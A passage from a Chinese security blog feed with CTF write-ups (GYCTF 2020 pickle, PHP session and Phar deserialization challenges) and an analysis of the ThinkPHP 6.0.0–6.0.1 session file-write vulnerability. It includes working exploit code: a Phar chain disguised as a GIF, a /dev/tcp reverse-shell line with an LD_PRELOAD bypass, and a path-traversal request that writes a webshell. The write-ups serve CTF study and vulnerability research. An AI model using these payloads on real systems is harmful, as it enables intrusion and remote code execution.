class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># @Author: J0k3r</span></span><br><span class="line"><span class="comment"># @Date:   2020-03-07 17:29:27</span></span><br><span class="line"><span class="keyword">import</span> pickle</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> pickletools</span><br><span class="line"><span class="keyword">import</span> secret</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Animal</span>:</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, name, category)</span>:</span></span><br><span class="line">        self.name = name</span><br><span class="line">        self.category = category</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__repr__</span><span class="params">(self)</span>:</span></span><br><span class="line">        <span class="keyword">return</span> <span class="string">f'Animal(name=<span class="subst">&#123;self.name!r&#125;</span>, category=<span class="subst">&#123;self.category!r&#125;</span>)'</span></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__eq__</span><span class="params">(self, other)</span>:</span></span><br><span class="line">        <span class="keyword">return</span> type(other) <span class="keyword">is</span> Animal <span class="keyword">and</span> self.name == other.name <span class="keyword">and</span> self.category == other.category</span><br><span class="line"></span><br><span class="line">obj = Animal(<span class="string">'ccc'</span>, <span class="string">'zzz'</span>)</span><br><span class="line">pdv3 = pickle.dumps(obj,protocol=<span class="number">3</span>)</span><br><span class="line">p = pickletools.optimize(pdv3)</span><br><span class="line">pickletools.dis(p)</span><br><span class="line">payload_pre = <span class="string">b'\x80\x03c__main__\nsecret\n&#125;(Vname\nVccc\nVcategory\nVzzz\nub0'</span></span><br><span class="line">payload = payload_pre + p[<span class="number">2</span>:]</span><br><span class="line">print(payload)</span><br><span class="line">pickletools.dis(payload)</span><br><span class="line">pickle_data = base64.b64encode(payload).decode()</span><br><span class="line">print(pickle_data)</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/GYCTF-2020-WriteUp.assets/image-20200308154240197.png" alt="image-20200308154240197"></p><p><code>flag{409ed945-5b77-4ec3-97e1-b395778842ba}</code></p><h2 id="hackme"><a href="#hackme" class="headerlink" title="hackme"></a>hackme</h2><p><a href="http://www.zip" target="_blank" rel="noopener">www.zip</a> 拿到源码</p><p>根据 php_serialize 和 php 两种 session 序列化引擎的不同，在填写签名的时候进行注入</p><p><code>name|s:5:&quot;admin&quot;;sign|a:1:{s:5:&quot;admin&quot;;i:1;}admin|i:1;</code></p><p>此时访问 /core，得到剩余源码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">require_once</span>(<span class="string">'./init.php'</span>);</span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (check_session($_SESSION)) &#123;</span><br><span class="line">    <span class="comment">#hint : core/clear.php</span></span><br><span class="line">    $sandbox = <span class="string">'./sandbox/'</span> . md5(<span class="string">"Mrk@1xI^"</span> . $_SERVER[<span class="string">'REMOTE_ADDR'</span>]);</span><br><span class="line">    <span class="keyword">echo</span> $sandbox;</span><br><span class="line">    @mkdir($sandbox);</span><br><span class="line">    @chdir($sandbox);</span><br><span class="line">    <span class="keyword">if</span> (<span class="keyword">isset</span>($_POST[<span class="string">'url'</span>])) &#123;</span><br><span class="line">        $url = $_POST[<span class="string">'url'</span>];</span><br><span class="line">        <span class="keyword">if</span> (filter_var($url, FILTER_VALIDATE_URL)) &#123;</span><br><span class="line">            <span class="keyword">if</span> (preg_match(<span class="string">'/(data:\/\/)|(&amp;)|(\|)|(\.\/)/i'</span>, $url)) &#123;</span><br><span class="line">                <span class="keyword">echo</span> <span class="string">"you are hacker"</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                $res = parse_url($url);</span><br><span class="line">                <span class="keyword">if</span> (preg_match(<span class="string">'/127\.0\.0\.1$/'</span>, $res[<span class="string">'host'</span>])) &#123;</span><br><span class="line">                    $code = file_get_contents($url);</span><br><span class="line">                    <span class="keyword">if</span> (strlen($code) &lt;= <span class="number">4</span>) &#123;</span><br><span class="line">                        @exec($code);</span><br><span class="line">                    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                        <span class="keyword">echo</span> <span class="string">"try again"</span>;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">"invalid url"</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">'只有管理员才能看到我哟'</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>一看就是 host 绕过 + hitcon 2017 那个 babyfirst-revengev2 执行命令，不过当时这个没做出来，没想到用 <code>url=compress.zlib://data:@127.0.0.1/baidu.com?,ls</code> 绕，我 tcl</p><h2 id="webct"><a href="#webct" class="headerlink" title="webct"></a><strong>webct</strong></h2><p>题目 <a href="http://www.zip" target="_blank" rel="noopener">www.zip</a> 中给了源码</p><p>有 测试mysql服务器、文件上传，再看下 Listfile 类</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Listfile</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> $file;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($file)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;file=$file;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">listdir</span><span class="params">()</span></span>&#123;</span><br><span class="line">        system(<span class="string">"ls "</span>.<span class="keyword">$this</span>-&gt;file).<span class="string">"&lt;br&gt;"</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__call</span><span class="params">($name, $arguments)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        system(<span class="string">"ls "</span>.<span class="keyword">$this</span>-&gt;file);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>标准的 Mysql Client 任意文件读取 + Phar 反序列化进行 RCE</p><p>反序列化 exp：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Fileupload</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> $file;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($file)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;file = $file;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;file-&gt;xs();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Listfile</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> $file;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($file)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;file=$file;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">listdir</span><span class="params">()</span></span>&#123;</span><br><span class="line">        system(<span class="string">"ls "</span>.<span class="keyword">$this</span>-&gt;file).<span class="string">"&lt;br&gt;"</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__call</span><span class="params">($name, $arguments)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        system(<span class="string">"ls "</span>.<span class="keyword">$this</span>-&gt;file);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//$l = new Listfile("/ &amp;&amp; curl 127.0.0.1:7777");</span></span><br><span class="line">$l = <span class="keyword">new</span> Listfile(<span class="string">"/ &amp;&amp; /readflag"</span>);</span><br><span class="line">$f = <span class="keyword">new</span> Fileupload($l);</span><br><span class="line">$sf = serialize($f);</span><br><span class="line">var_dump($sf);</span><br><span class="line">$b = unserialize($sf);</span><br><span class="line">$p = <span class="keyword">new</span> Phar(<span class="string">'./pp.phar'</span>, <span class="number">0</span>);</span><br><span class="line">$p-&gt;startBuffering();</span><br><span class="line">$p-&gt;setStub(<span class="string">'GIF89a&lt;?php __HALT_COMPILER(); ?&gt;'</span>);</span><br><span class="line">$p-&gt;setMetadata($b);</span><br><span class="line">$p-&gt;addFromString(<span class="string">'test.txt'</span>,<span class="string">'text'</span>);</span><br><span class="line">$p-&gt;stopBuffering();</span><br><span class="line">rename(<span class="string">'pp.phar'</span>, <span class="string">'pp.gif'</span>);</span><br></pre></td></tr></table></figure><p>将生成的伪装成 gif 的 phar 文件上传</p><p>在自己的服务器上伪造一个 mysql 服务端，可以使用 <a href="https://github.com/Gifts/Rogue-MySql-Server/blob/78ebbfcdb6ea986d60fe6dc930c4776f79acaf9a/rogue_mysql_server.py#L41" target="_blank" rel="noopener">https://github.com/Gifts/Rogue-MySql-Server/blob/78ebbfcdb6ea986d60fe6dc930c4776f79acaf9a/rogue_mysql_server.py#L41</a> 这个脚本</p><p>修改其 filelist 中的文件名为 phar 协议</p><p>phar://uploads/15844deb09884fccfd98166aa2c11990/1d00be8e06978e935acb75ad6caad48c.gif/test.txt</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/GYCTF-2020-WriteUp.assets/image-20200309005549996.png" alt="image-20200309005549996"></p><p>服务器启动脚本，本地访问题目测试mysql服务器即可触发</p><p>本题 mysqli 的 options 设置的挺坑，要求 int，而网上一些文章都是直接填 <code>MYSQLI_OPT_LOCAL_INFILE</code> ，简直是误导，而且这个就算爆出 PHP Warning，某些环境下还是可以使用 <em>LOAD LOCAL INFILE</em> 语句的，应该和其他配置有关</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/GYCTF-2020-WriteUp.assets/image-20200309010103319.png" alt="image-20200309010103319"></p><p><code>MYSQLI_OPT_LOCAL_INFILE</code>  值为 8，所以本地 option 传入值为 int 8 </p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/GYCTF-2020-WriteUp.assets/image-20200309005048908.png" alt="image-20200309005048908"></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/GYCTF-2020-WriteUp.assets/image-20200309005358162.png" alt="image-20200309005358162"></p><p>flag：<code>flag{bfa7ea9865f08c320abab5323a1b522c1}</code></p><hr><p><a href="http://phoebe233.cn/index.php/archives/27/" target="_blank" rel="noopener">http://phoebe233.cn/index.php/archives/27/</a></p><p><a href="https://blog.csdn.net/nzjdsds/article/details/82461112" target="_blank" rel="noopener">https://blog.csdn.net/nzjdsds/article/details/82461112</a></p><p><a href="http://www.pdsdt.lovepdsdt.com/index.php/2020/03/09/187/" target="_blank" rel="noopener">http://www.pdsdt.lovepdsdt.com/index.php/2020/03/09/187/</a></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;点击阅读&lt;/p&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="http://j0k3r.top/tags/CTF/"/>
    
      <category term="WriteUp" scheme="http://j0k3r.top/tags/WriteUp/"/>
    
  </entry>
  
  <entry>
    <title>i春秋新春战役公益赛-出题记录</title>
    <link href="http://j0k3r.top/2020/03/03/challenge-for-nCoV/"/>
    <id>http://j0k3r.top/2020/03/03/challenge-for-nCoV/</id>
    <published>2020-03-02T16:00:00.000Z</published>
    <updated>2020-03-26T10:19:18.767Z</updated>
    
    <content type="html"><![CDATA[<p>点击阅读</p><a id="more"></a><h2 id="i春秋新春战役公益赛-出题记录"><a href="#i春秋新春战役公益赛-出题记录" class="headerlink" title="i春秋新春战役公益赛-出题记录"></a>i春秋新春战役公益赛-出题记录</h2><p>本次比赛也是有幸出了一个 Web 题目——easy_thinking，题目本身并不难，最后做出来的人也不少，本来以为是动态 Docker 下发的题目，结果不是，结束后看过一些网上师傅们的思路发现可以直接骑别人的马拿 flag，emmmm</p><p>大部分都是通过 <a href="https://bugs.php.net/bug.php?id=72530" target="_blank" rel="noopener">Use After Free in GC with Certain Destructors</a> 这个 php7.0 到 php7.3 的 bug 来打的，本意其实是希望使用 gnupg 这个模块</p><h3 id="WriteUp"><a href="#WriteUp" class="headerlink" title="WriteUp"></a>WriteUp</h3><p>URL 简单测试下报错，发现是 <a href="http://www.thinkphp.cn/" target="_blank" rel="noopener">ThinkPHP</a> V6.0.0</p><p>Web 目录扫描，拿到源码，简单审计下</p><p>看下应用代码，发现 session 使用方法不合理，会将部分搜索关键字保存在 session 中，即存在任意文件操作漏洞 ，可以利用这点写入 php 文件，具体分析可参考网络文章</p><p>先注册一个账号，在登录时设置一个 32 位长度的 PHPSESSID 作为文件名</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/challenge-for-nCoV.assets/image-20200209161407850.png" alt="image-20200209161407850"></p><p>在搜索处写入 php 代码，得到 /runtime/session/sess_c465f41ee715df8c726dcc4742a6.php，antsword 连接，发现无法执行终端命令</p><p>查看 phpinfo 后发现 disable_functions </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">passthru,mail,error_log,mb_send_mail,imap_mail,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv</span><br></pre></td></tr></table></figure><p>使用 LD_PRELOAD 绕过，虽然限制了很多常用来 bypass 的函数，但是在 phpinfo 信息中注意到有个不常见的 gnupg 模块，推测可以利用</p><p>本地测试可以发现使用 gnupg 拓展下的 gnupg_init() 函数 可以进行 bypass</p><p>先本地生成 exp.so， <code>gcc --share -fPIC exp.c -o exp.so</code></p><p>antsword 上传文件到 /tmp/exp.so</p><p>写入以下 php 文件</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> putenv(<span class="string">"cmd=/bin/bash -c 'bash -i &gt;&amp; /dev/tcp/host/port 0&gt;&amp;1'"</span>);putenv(<span class="string">"LD_PRELOAD=/tmp/exp.so"</span>);gnupg_init();<span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/challenge-for-nCoV.assets/image-20200209014404973.png" alt="image-20200209014404973"></p><p>反弹 shell，执行 /readflag 读取 flag 文件</p><p>get flag</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/challenge-for-nCoV.assets/image-20200209020945561.png" alt="image-20200209020945561"></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;点击阅读&lt;/p&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="http://j0k3r.top/tags/CTF/"/>
    
      <category term="WriteUp" scheme="http://j0k3r.top/tags/WriteUp/"/>
    
  </entry>
  
  <entry>
    <title>ThinkPHP v6.0.0~6.0.1 任意文件操作漏洞分析</title>
    <link href="http://j0k3r.top/2020/03/02/ThinkPHP_v6.0.0_ArbitraryFileWriting/"/>
    <id>http://j0k3r.top/2020/03/02/ThinkPHP_v6.0.0_ArbitraryFileWriting/</id>
    <published>2020-03-01T16:00:00.000Z</published>
    <updated>2020-03-26T10:18:40.919Z</updated>
    
    <content type="html"><![CDATA[<p>点击阅读</p><a id="more"></a><h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><p>影响版本：ThinkPHP 6.0.0 ～ThinkPHP 6.0.1</p><p>漏洞危害：任意文件操作，getshell</p><p>官方补丁：<a href="https://github.com/top-think/framework/commit/1bbe75019ce6c8e0101a6ef73706217e406439f2" target="_blank" rel="noopener">https://github.com/top-think/framework/commit/1bbe75019ce6c8e0101a6ef73706217e406439f2</a></p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><h3 id="1-搭建环境"><a href="#1-搭建环境" class="headerlink" title="1. 搭建环境"></a>1. 搭建环境</h3><p>安装漏洞版本的 ThinkPHP</p><p>测试使用 <code>composer create-project topthink/think=6.0.0 tp6.0.0</code> 命令安装的时候会自动安装 6.0.2 版本的 framework</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200205201723699.png" alt="image-20200205201723699"></p><p>可以使用 <code>composer create-project topthink/framework=6.0.0 tpframework</code> 命令下载指定版本的 framework，再替换过去即可</p><p>下载若出现  SSL: Handshake timed out 错误的可以尝试换源并在 php.ini 中重新设置超时时间</p><p><code>composer config -g repo.packagist composer https://packagist.phpcomposer.com</code></p><p><code>default_socket_timeout = 360</code></p><h3 id="2-复现"><a href="#2-复现" class="headerlink" title="2. 复现"></a>2. 复现</h3><p>开启 Session，在全局的中间件定义文件中删除 Session 初始化注释</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">// 全局中间件定义文件</span></span><br><span class="line"><span class="keyword">return</span> [</span><br><span class="line">    <span class="comment">// 全局请求缓存</span></span><br><span class="line">    <span class="comment">// \think\middleware\CheckRequestCache::class,</span></span><br><span class="line">    <span class="comment">// 多语言加载</span></span><br><span class="line">    <span class="comment">// \think\middleware\LoadLangPack::class,</span></span><br><span class="line">    <span class="comment">// Session初始化</span></span><br><span class="line">    \think\middleware\SessionInit::class</span><br><span class="line">];</span><br></pre></td></tr></table></figure><p>自定义一个漏洞方法</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">vuln</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">$para = Request::get(<span class="string">'para'</span>);</span><br><span class="line">Session::set(<span class="string">'testSession'</span>, $para);</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>发送以下请求</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">GET /index/vuln?para=%3C?php%20phpinfo();?%3E HTTP/1.1</span><br><span class="line">Host: 127.0.0.1:8000</span><br><span class="line">User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:72.0) Gecko/20100101 Firefox/72.0</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Connection: close</span><br><span class="line">Cookie: PHPSESSID=/../../../000000000000000000.php</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br></pre></td></tr></table></figure><p>即在 web 根目录生成 000000000000000000.php （如果有写入权限的话）</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200210233257716.png" alt="image-20200210233257716"></p><h3 id="3-分析"><a href="#3-分析" class="headerlink" title="3. 分析"></a>3. 分析</h3><p>看下官方 github 的 commit </p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200210233456562.png" alt="image-20200210233456562"></p><p>对 <code>$id</code> 使用 <code>ctype_alnum</code> 检测其是否全部为字母和(或)数字字符</p><p>下面我就 debug 跟一下调用看看是如何通过 session 写入文件的</p><p>在开启 Session 初始化的全局中间件之后，ThinkPHP 会调用反射执行类的实例化，加载 \think\middleware\SessionInit</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200211001948777.png" alt="image-20200211001948777"></p><p>之后通过中间件调度管道，调用 SessionInit 的 handle 类方法进行 session初始化</p><p> <img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200211002520475.png" alt="image-20200211002520475"></p><p>跟进 handle 函数，来到 /vendor/topthink/framework/src/think/middleware/SessionInit.php，首先获取的 <code>$varSessionId</code>值为空，下面跟进  <code>$this-&gt;session-&gt;getName()</code></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200211020829775.png" alt="image-20200211020829775"></p><p>来到 /vendor/topthink/framework/src/think/session/Store.php，Store 类构造函数会调用其 setId 方法，来到漏洞代码处，但此时为 Store 类的初始化阶段，并没有 id 参数传入</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200211001311794.png" alt="image-20200211001311794"></p><p>接着通过 Store 类的 getName 方法获取 sessionName，之后会赋值给 <code>$cookieName</code></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200211004432030.png" alt="image-20200211004432030"></p><p>而 sessionName 的值在 Store 类中定义好了的，即 <code>&quot;PHPSESSID&quot;</code></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200211004515137.png" alt="image-20200211004515137"></p><p>返回到 SessionInit，所以此处的 <code>$cookieName</code> 的值为<code>&quot;PHPSESSID&quot;</code></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200211004610180.png" alt="image-20200211004610180"></p><p>接着往下开始获取 <code>$sessionId</code> ，关键一步出现了，由于 <code>$varSessionId</code> 的值为空，所以 if 判断之后，<code>$sessionId</code> 的值就是名称为 PHPSESSID 的 cookie 值，也是后来写入的文件名，接下来将 <code>$sessionId</code> 直接传入 setId 函数进行判断</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200211005240955.png" alt="image-20200211005240955"></p><p>又来到<strong>漏洞代码</strong>处，就是在个时候在这里未对 <code>$id</code> 值做除长度之外的限制，从而可以直接写入任意文件 </p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200211022612881.png" alt="image-20200211022612881"></p><p>在上面将 PHPSESSID 的值赋值给 <code>id</code>后一路跟进，再次来到 /vendor/topthink/framework/src/think/session/Store.php，终于开始保存 session 数据，获取 <code>$sessionId</code>，即 PHPSESSID 的值，这里测试使用的是 c465f41ee715df8c726dcc4742a6.php</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200211011538058.png" alt="image-20200211011538058"></p><p>将 data 序列化之后通过 write 函数将序列化的数据保存在 c465f41ee715df8c726dcc4742a6.php 文件中</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200211012048948.png" alt="image-20200211012048948"></p><p>跟进 write 函数，在文件名前加上了 <code>sess_</code> 前缀，再调用 writeFile 函数写入</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200211012359526.png" alt="image-20200211012359526"></p><p>跟进 writeFile，最终 <code>file_put_contents</code> 完成写入</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200211012532329.png" alt="image-20200211012532329"></p><p>成功写入 WebShell</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ThinkPHP_v6.0.0_ArbitraryFileWriting.assets/image-20200211013012377.png" alt="image-20200211013012377"></p><p>在 /vendor/topthink/framework/src/think/session/Store.php:254 中不难看出还有个 delete 函数，用于删除 session </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">save</span><span class="params">()</span>: <span class="title">void</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">$this</span>-&gt;clearFlashData();</span><br><span class="line"></span><br><span class="line">    $sessionId = <span class="keyword">$this</span>-&gt;getId();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (!<span class="keyword">empty</span>(<span 